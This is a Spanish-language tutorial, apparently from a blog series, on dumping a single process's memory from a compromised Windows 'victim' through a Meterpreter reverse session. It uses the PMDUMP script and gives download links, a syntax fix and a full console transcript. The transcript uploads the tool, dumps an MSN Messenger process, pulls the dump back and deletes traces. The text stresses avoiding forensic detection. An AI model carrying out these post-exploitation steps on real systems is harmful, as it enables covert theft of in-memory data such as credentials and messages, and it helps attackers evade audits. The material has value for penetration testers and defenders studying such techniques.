En la entrada anterior correspondiente al volcado de memoria utilizando el script MEMDUMP y la utilidad MDD, era posible generar el volcado completo de todos los procesos cargados en la memoria de la víctima, sin embargo este proceso en algunos casos puede llevar mucho tiempo dependiendo de la conexión disponible, en este tiempo es posible que la víctima simplemente apague la maquina o exista un problema con la conexión, lo que puede resultar en sesiones sin terminar y en “rastros” en la maquina objetivo que posteriormente pueden ser detectados por una auditoria o un analisis forense, ademas en la mayoria de casos, un atacante solamente se encuentra interesado en procesos en ejecución especificos, por esta razón algunas veces es mejor utilizar el script PMDUMP para seleccionar solamente un proceso a volcar. Sin embargo, es importante aclarar que en pruebas de penetracion muy elaboradas y que tratan de recopilar los detalles más profundos del objetivo, la opción más adecuada es precisamente utilizar MEMDUMP.

Ahora bien para utilizar PMDUMP desde una consola meterpreter, es necesario seguir los siguientes pasos:
1. En primer lugar es necesario descargar la utilidad PMDUMP desde: http://ntsecurity.nu/toolbox/pmdump/ el fichero ejecutable de windows descargado desde este sitio debe ser ubicado en <DIR_METASPLOIT>/data

2. Lo siguiente es descargar el script Ruby de pmdump, ya que no se encuentra disponible en el repositorio de MetaSploit FrameWork, dado que este script no es oficial de MetaSploit (a la fecha de la redacción de este documento).
Se descarga desde aquí: http://pastebin.com/f7f867847
Una vez descargado es necesario ubicarlo en <DIR_METASPLOIT>/scripts/meterpreter.
NOTA: A la fecha de escribir este articulo, hay un pequeño problema de sintaxis en este script, por lo tanto para que funcione adecuadamente es necesario cambiar la linea 35 con el siguiente contenido:

rescue::Exception => eprint_status(«The following Error was encountered: #{e.class} #{e}»)end

3. Desde meterpreter ahora es posible ejecutar el script una vez se ha establecido la conexión reversa con la víctima:

meterpreter > run pmdump
[*] Running Meterpreter Process Memory Dump Script…..[*] Uploading pmdump for dumping memory of a process….

[*] pmdump uploaded as C:\DOCUME~1\Owner\LOCALS~1\Temp3737.exe

[*] Process list…

[*]

pmdump 1.2 – (c) 2002, Arne Vidstrom (arne.vidstrom@ntsecurity.nu)

http://ntsecurity.nu/toolbox/pmdump/

0 – System idle process

4 – System

736 – smss.exe

816 – avgchsvx.exe

872 – avgrsx.exe

988 – csrss.exe

1012 – winlogon.exe

1056 – services.exe
…………………

640 – msnmsgr.exe

112 – ctfmon.exe

768 – uphclean.exe

Please enter PID: 640

[*] Dumping memory for process id 640

[*] Finished dumping process’s memory

[*] Downloading memory dump for process id 640 to /tmp/pmdump-74819

[*] Deleting pmdump.exe from target…

[*] pmdump.exe deleted

[*] Deleting left over files…

[*] process memory dump image on target deleted

4. La información del proceso se ha almacenado correctamente en la ruta /tmp/pmdump-74819 ahora es posible utilizar el comando strings para analizar la información contenida en dicho volcado, este comando es útil principalmente para determinar los contenidos de ficheros que no son de formato texto:

>strings /tmp/pmdump-74819 | grep «HKLM»
HKLM,»%PATH_ZONES_INTERNET%»,»RecommendedLevel»,0x10001,0x12000

HKLM,»%PATH_ZONES_INTRANET%»,»CurrentLevel»,0x10001,0x10500

HKLM,»%PATH_ZONES_TRUSTED%»,»CurrentLevel»,0x10001,0x11000

HKLM,»%PATH_ZONES_TRUSTED%»,»MinLevel»,0x10001,0x10500

HKLM,»%PATH_ZONES_UNTRUSTED%»,»CurrentLevel»,0x10001,0x12000

HKLM,»%PATH_ZONES_INTRANET%»,»2500″,0x10001,0x0

HKLM,»%PATH_ZONES_INTERNET%»,»2500″,0x10001,0x0

HKLM,»%PATH_ZONES_UNTRUSTED%»,»2500″,0x10001,0x0

HKLM,»%PATH_ZONES_INTERNET%»,»2700″,0x10001,0x0

……………………………..